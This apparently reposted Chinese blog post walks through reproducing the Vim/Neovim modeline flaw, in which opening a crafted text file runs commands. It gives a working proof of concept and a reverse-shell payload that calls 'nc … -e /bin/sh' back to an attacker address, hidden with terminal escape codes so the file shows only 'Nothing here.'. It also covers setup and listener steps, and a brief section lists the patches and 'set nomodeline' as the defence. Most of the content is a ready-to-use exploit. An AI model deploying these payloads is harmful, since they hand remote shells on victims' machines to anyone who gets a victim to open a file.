前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >丢给你一个txt并同时获取你shell

丢给你一个txt并同时获取你shell

作者头像
洛米唯熊
发布2019-07-25 15:32:36
3330
发布2019-07-25 15:32:36
举报
文章被收录于专栏:洛米唯熊洛米唯熊洛米唯熊

听闻很多人知道这个漏洞,但是有一部分人能复现成功,一部分人复现不出来。这里我就我自己的复现经历给大家演示一下。

git clone https://github.com/numirias/security.git

0x01:复现

1、kali复现

桌面新建立一个poc.txt放入以下代码,并用vim执行。

代码:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

效果图:

成功执行

反弹shell脚本

新建立一个shell.txt放入以下代码,Ip跟端口改成你自己的,并用vim执行。

代码:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.124.14 6666 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

执行后报错:

提示:处理模型行时检测到错误!!

处理方式:

在50行这里添加一个“set modeline” 然后esc保存退出,然后执行

source ~/.vimrc让它生效。

本地开启监听

kali用vim执行txt

本机得到shell

0x02:防范

  • Vim补丁8.1.1365 https://github.com/vim/vim/commit/5357552
  • Neovim补丁(在v0.3.6中发布) https://github.com/neovim/neovim/pull/10082 https://github.com/neovim/neovim/releases/tag/v0.3.6

除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档